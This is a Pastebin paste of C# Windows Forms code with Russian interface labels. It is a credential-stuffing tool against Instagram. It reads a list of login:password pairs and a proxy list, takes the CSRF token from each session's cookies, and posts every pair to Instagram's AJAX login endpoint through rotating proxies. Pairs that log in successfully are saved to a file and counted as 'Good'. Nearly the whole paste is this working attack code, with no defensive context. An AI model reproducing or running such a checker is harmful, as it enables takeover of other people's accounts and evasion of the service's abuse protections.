Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private void button1_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox1.Text = path;
- listBox1.Items.Clear();
- string[] lines1 = File.ReadAllLines(textBox1.Text);
- listBox1.Items.Add("Размер базы : " + lines1.Length);
- }
- }
- private void button2_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox2.Text = path;
- string[] lines2 = File.ReadAllLines(textBox2.Text);
- listBox1.Items.Add("Кол-во проксей : " + lines2.Length);
- }
- }
- public string login1(string basa)
- {
- string[] strs = basa.Split(':');
- string login = strs[0];
- return login;
- }
- public string password(string basa)
- {
- string[] strs = basa.Split(':');
- string password = strs[1];
- return password;
- }
- private void button3_Click(object sender, EventArgs e)
- {
- int k = 0, z = 0;
- string p1 = textBox1.Text;
- string p2 = textBox2.Text;
- string p3 = textBox4.Text;
- string[] lines1 = File.ReadAllLines(p1);
- string[] lines2 = File.ReadAllLines(p2);
- listBox1.Items.Add("Good : ");
- listBox1.Items.Add("Bad : ");
- // var proxyClient = HttpProxyClient.Parse("127.0.0.1:8080");
- // var tcpClient = proxyClient.CreateConnection("habrahabr.ru", 80);
- int y;
- // bool isInt = Int32.TryParse(textBox3.Text, out y);
- // int h = y;
- // if (y > lines1.Length)
- // {
- int h = lines1.Length;
- // }
- for (int i = 0; i < h; i++)
- {
- using (var request = new HttpRequest())
- {
- var useragenT = Http.OperaUserAgent();
- if (lines2.Length >= i)
- {
- request.Proxy = HttpProxyClient.Parse(lines2[i]);
- }
- request.UserAgent = useragenT;
- request.AddHeader("Upgrade-Insecure-Requests", "1");
- var resulte = request.Get("https://www.instagram.com/?hl=ru");
- string content = resulte.ToString();
- var cookies = resulte.Cookies;
- var srftoken = "";
- foreach (var m in cookies)
- if (m.Key == "csrftoken")
- srftoken = m.Value;
- request.UserAgent = useragenT;
- request.Cookies = cookies;
- request.AddHeader("X-Instagram-AJAX", "1");
- request.AddHeader("X-Requested-With", "XMLHttpRequest");
- request.AddHeader("X-CSRFToken", srftoken);
- request.Referer = "https://www.instagram.com/?hl=ru";
- //username=areyon299&password=%D0%A2%D1%88%D0%BB%D1%88%D0%B5%D1%8429
- string data = "username=" + login1(lines1[i]) + "&password=" + password(lines1[i]);
- resulte = request.Post("https://www.instagram.com/accounts/login/ajax/?hl=ru", data,
- "application/x-www-form-urlencoded");
- var txtresult = resulte.ToString();
- if (txtresult.Contains("authenticated\": true"))
- {
- k++;
- listBox1.Items.RemoveAt(2);
- listBox1.Items.Insert(2, "Good : " + k);
- using (StreamWriter sw = File.AppendText(p3))
- {
- sw.WriteLine(login1(lines1[i]) + ":" + password(lines1[i]));
- }
- }
- else
- {
- z++;
- listBox1.Items.RemoveAt(3);
- listBox1.Items.Insert(3, "Bad : " + z);
- }
- }
- }
- listBox1.Items.Add("Готово!");
- }
- private void button4_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox4.Text = path;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement